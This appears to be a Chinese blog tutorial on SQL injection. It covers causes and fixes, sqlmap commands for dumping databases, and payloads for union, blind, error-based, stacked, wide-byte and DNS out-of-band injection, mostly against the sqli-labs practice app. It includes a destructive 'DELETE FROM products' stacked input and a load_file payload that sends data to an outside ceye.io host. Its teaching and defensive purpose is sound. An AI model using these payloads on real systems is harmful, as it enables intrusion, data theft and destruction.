Sql注入漏洞

原因和影响


原因:

  • SQL注入是一种Web应用代码中的漏洞。
  • 黑客可以构造特殊请求,使Web应用执行带有附加条件的SQL语句
  • 用户请求中带有参数的值,没有进行任何过滤
  • 用户请求中带有参数的值,没有进行任何转码
  • 通过特殊的请求,Web应用向数据库访问时会附带其它命令:
        任意查询命令
        创建数据库/表
        更新数据库/表内容
        更改用户权限
        删除数据/表/数据库
        执行系统命令

影响:

  • 可读取/修改数据库中的库和表
  • 获取用户的账号,密码(可能被加密过),邮箱,联系方式
  • 信用卡信息
  • 修改产品价格
  • 删除数据
  • 可执行系统命令
  • 修改权限,获取系统管理员权限
  • 修改任意文件
  • 安装后门

原理


        所谓SQL 注入,是指 web 应用程序对用户输入数据的合理性没有明确判断 ,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询具体来说,它是利用现有应用程序,将SQL 语句注入到后台数据库引擎执行的能力,它可以通过在Web 表单中输入 SQL语句得到一个存在安全漏洞的网站上的数据,而不是按照设计者意图去执行SQL语句。

修复


  1. 所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口可以非常有效的防止SQL注入攻击。
  2. 对进入数据库的特殊字符(’"\尖括号&*;等)进行转义处理,或编码转换
  3. 严格限制变量类型,比如整型变量就采用intval()函数过滤,数据库中的存储字段必须对应为int型。
  4. 数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句无法正确执行。
  5. 网站每个数据层的编码统一,建议全部使用UTF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过。
  6. 严格限制网站用户的数据库的操作权限,给此用户提供仅仅能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。
  7. 避免网站显示SQL错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。
  8. 在网站发布之前建议使用一些专业的SQL注入检测工具进行检测,及时修补这些SQL注入漏洞

工具(sqlmap


常用命令:

-u 指定目标 URL ( 可以是 http 协议也可以是 https 协议 )
-d 连接数据库
--dbs 列出所有的数据库
--current-db 列出当前数据库
--tables 列出当前的表
--columns 列出当前的列
-D 选择使用哪个数据库
-T 选择使用哪个表
-C 选择使用哪个列
--dump 获取字段中的数据
--batch 自动选择 yes
--smart 启发式快速判断,节约浪费时间
--forms 尝试使用 post 注入
-r 加载文件中的 HTTP 请求(本地保存的请求包 txt 文件)
-l 加载文件中的 HTTP 请求(本地保存的请求包日志文件)
-g 自动获取 Google 搜索的前一百个结果,对有 GET 参数的 URL 测试
-o 开启所有默认性能优化
--tamper 调用脚本进行注入 其他命令:
-v 指定 sqlmap 的回显等级
--delay 设置多久访问一次
--os-shell 获取主机 shell ,一般不太好用,因为没权限
--os-cmd 执行命令
-m 批量操作
-c 指定配置文件,会按照该配置文件执行动作
-data data 指定的数据会当做 post 数据提交
-timeout 设定超时时间
-level 设置注入探测等级
--risk 风险等级
--identify-waf 检测防火墙类型
--param-del=" 分割符 " 设置参数的分割符
--skip-urlencode 不进行 url 编码
--keep-alive 设置持久连接,加快探测速度
--null-connection 检索没有 body 响应的内容,多用于盲注
--thread 最大为 10 设置多线程

举例:

Get 请求
        sqlmap -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1
Post 请求
        sqlmap -r "1.txt"
获取当前数据库名称
        sqlmap -u " http://127.0.0.1/sqli-labs-master/Less-1/?id=1 " --current-db
获取指定数据库的表名
        sqlmap -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security --tables
获取指定数据库指定表中的字段
        sqlmap -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security -T users --columns
获取指定数据库指定表的指定字段的字段内容
        sqlmap -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security -T users -C password --dump
Header 注入
        sqlmap 在对 user-agent 注入的时候,得在文件中的 user-agent 的参数后面加上 * 或者 -level 3
Cookie 注入
        sqlmap -u " http://127.0.0.1/sqli-labs-master/Less-20/index.php " --cookie
        "pma_lang=zh_CN;pma_mcrypt_iv=AoXpKxU5KcY%3D;pmaUser-
        1=7%2FwV%2BDOfbmI%3D;uname=admin;" --level 2
sqlmap -r [" 请求头文本 "] // 测试是否存在注入
sqlmap -r [" 请求头文本 "] --current-db // 查询当前数据库
sqlmap -r [" 请求头文本 "] -D [" 数据库名 "] --tables // 查询当前数据库的所有表
sqlmap -r [" 请求头文本 "] -D [" 数据库名 "] -T [" 表名 "] --columns // 查询指定库指定表的所有列
sqlmap -r [" 请求头文本 "] -D [" 数据库名 "] -T [" 表名 "] -C [" 列名 "] --dump // 打印出指定库指定表指定列的所有字段内容

种类


union(联合)注入

http://sqli:8081/Less-1/?id=1 ' order by 4 --+
SELECT * FROM users WHERE id='1' order by 4 --+' LIMIT 0,1
输入 3 再去判断 使用二分法进行判断字段数
SELECT * FROM users WHERE id='1' order by 3 --+' LIMIT 0,1
id 值改为负数 使 where 后面条件不成立 进而执行 select 语句
http://sqli:8081/Less-1/?id=-1 ' # 数据库信息 union select 1,2,3 --+
http://sqli:8081/Less-1/?id=-1 ' union select 1,database(),version() --+
获取数据库名称后 利用 information_schema 获取表名
http://sqli:8081/Less-1/?id=-1 ' union select 1,(select table_name from information_schema.tables
where table_schema='security' limit 0,1),3 --+
获取第二个表名
http://sqli:8081/Less-1/?id=-1 ' union select 1,(select table_name from information_schema.tables
where table_schema='security' limit 1,1),3 --+
知道了库名,表名,字段名 就可以构造 SQL 语句进行查询数据了
http://sqli:8081/Less-1/?id=-1 'union select 1,(select email_id from security.emails limit 0,1),3 --+

Boolean注入

like 'ro%' # 判断 ro ro... 是否成立
regexp '^x[a-z]' # 匹配 xiaodi xiaodi...
if( 条件 ,5,0) # 条件成立 返回 5 反之 返回 0
sleep(5) #SQL 语句延时执行 5
mid(abc,b,2) # 从位置 b 开始,截取 a 字符串的 c
substr(a,b,c) # b 位置开始,截取字符串 a c 长度
left(database(),1) #left(a,b) 从左侧截取 a 的前 b
length(database())=8 # 判断数据库 database() 名的长度
ord=ascii(x)=97 # 判断 x ascii 码是否等于 97
基于布尔的 SQL 盲注 - 逻辑判断
regexp,like,ascii,left,ord,mid
基于时间的 SQL 盲注 - 延时判断
if,sleep
基于报错的 SQL 盲注 - 报错回显
floor updatexml extractvalue
insert 插入数据
在网站应用中进行用户注册添加等操作
1' and UpdateXML(1,concat('~',database()),1))#
delete 删除数据
后台管理里面删除文章删除用户等操作
1 or updatexml(2,concat(0x7e,(database())),0x7e)--+ update 更新数据
会员或后台中心数据同步或缓存等操作
1' or updatexml(2,concat(0x7e,(database())),0x7e)#

延迟盲注

// 判断是否存在延迟注入
http://sqli:8081/Less-5/?id=1 ' and sleep(5)--+
// 延迟注入 判断长度是否为 8
http://sqli:8081/Less-5/?id=1 ' and if(length(database())=8,sleep(5),1)--+
// 使用时间盲注判断库名是否为 s
http://sqli:8081/Less-5/?id=1 ' and if(left(database(),1)='s',sleep(5),1)--+

报错注入

extractvalue 函数
  • 函数原型:extractvalue(xml_document,Xpath_string)
  • 正常语法:extractvalue(xml_document,Xpath_string);
  • 第一个参数:xml_documentstring格式,为xml文档对象的名称
  • 第二个参数:Xpath_stringxpath格式的字符串
  • 作用:从目标xml中返回包含所查询值的字符串
  • payloadid='and(select extractvalue("anything",concat('~',(select语句))))
  • id='and(select extractvalue(1,concat('~',(select database()))))
  • id='and(select extractvalue(1,concat(0x7e,@@version)))
  • 查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
  • 爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
  • 爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
  • 爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

堆叠注入

堆叠注入:从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行在 SQL 中,分号(;)是用来表示一条 sql 语句的结束。试想一下我们在 ; 结束一个 sql 语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而 union injection (联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于 union 或者 union all 执行的语句类 型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
用户输入: 1; DELETE FROM products
服务器端生成的 sql 语句为:(因未对输入的参数进行过滤)
Select * from products where productid=1;DELETE FROM products
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎 不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
新建一个表
select * from student where id=1;create table test like users;
删除上面新建的 test
select * from users where id=1;drop table test; 插入用户
http://sqli:8081/Less-38/?id=1 ';insert into users(id,username,password) values ('38','less38','hello')--+

header注入

cookie 注入

xff 注入

agent 注入

base64 注入( 1'union select 1,2,3# MSd1bmlvbiBzZWxlY3QgMSwyLDMj

JSON注入

数据格式:数据在名称 / 值对中,数据由逗号分隔,大括号保存对象,中括号保存数组。
例: http://127.0.0.1/json.php
json={"username":"root"}
json={"username":"root ' and 1=2 union select 1,user()#"}

二次注入

简介:
        二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL 查询语句所导致的注入。防御者可能在用 户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web 程序调用存储在数据库中的恶意数据并执行SQL 查询时,就发生了 SQL 二次注入。
操作步骤:
  • 第一步:插入恶意数据进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
  • 第二步:引用恶意数据开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
原理示意图:

宽字节注入

宽字节的注入条件:
  • 数据库编码设置成GBK系列。
  • 使用了转义函数,将GETPOSTcookie传递的参数进行过滤,将单引号、双引号、null等敏感字符
用转义符 \ 进行转义。 URL 转码:
        空格 %20
        ' %27
        \ %5C
转换过程:
        1%df' or 1 通过 php 转码 mysql 转码 得到一个汉字 ' 从而达到过滤的效果
        %df' =====>php(check_addsiashes) ======>%df%5C%27 ======>MySQL(GBK) ======> 運 '
        1%df' union select user(),database()#

dnslog注入

简介:
        dnslog注入也可以称之为 dns 带外查询,是一种注入姿势,可以通过查询相应的 dns 解析记录,来获取我们想要的数据。
特点:
        dns带外查询属于 MySQL 注入,在 MySQL 中有个系统属性。
        secure_file_priv特性,有三种状态:
        1. secure_file_priv为 null 表示不允许导入导出
        2. secure_file_priv指定文件夹时,表示 mysql 的导入导出只能发生在指定的文件夹
        3. secure_file_priv没有设置时,则表示没有任何限制
函数:
        LOAD_FILE()函数读取一个文件并将其内容作为字符串返回。
        语法为:load_file(file_name) ,其中 file_name 是文件的完整路径。
例子:
        select load_file('\\requests.mvkn4u.ceye.io\abc');
        payload: http://127.0.0.1/sqli/Less-2/?id=-1 and if((select load_file(concat('\\',(select
        database()),'.mvkn4u.ceye.io\abc'))),1,0)--+
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值